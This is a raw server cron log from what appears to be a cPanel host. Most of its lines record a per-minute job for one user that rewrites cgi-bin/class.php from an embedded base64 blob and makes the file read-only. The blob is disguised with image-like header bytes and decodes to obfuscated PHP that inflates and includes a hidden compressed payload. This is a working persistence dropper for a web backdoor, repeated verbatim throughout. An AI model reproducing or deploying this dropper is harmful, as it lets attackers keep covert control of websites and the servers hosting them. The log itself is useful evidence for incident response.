Nov 10 10:02:01 server CROND[17641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:03:02 server CROND[18463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:04:01 server CROND[19282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:05:01 server CROND[20201]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 10:05:01 server CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:05:01 server CROND[20205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:05:01 server CROND[20204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:06:01 server CROND[21093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:07:01 server CROND[21916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:08:01 server CROND[22737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:09:01 server CROND[23554]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:09:01 server CROND[23555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:10:01 server CROND[24394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:10:01 server CROND[24395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:10:01 server CROND[24396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:10:01 server CROND[24397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:11:01 server CROND[25306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:12:01 server CROND[26146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:12:01 server CROND[26147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:13:01 server CROND[26985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:14:01 server CROND[27811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:15:01 server CROND[28649]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
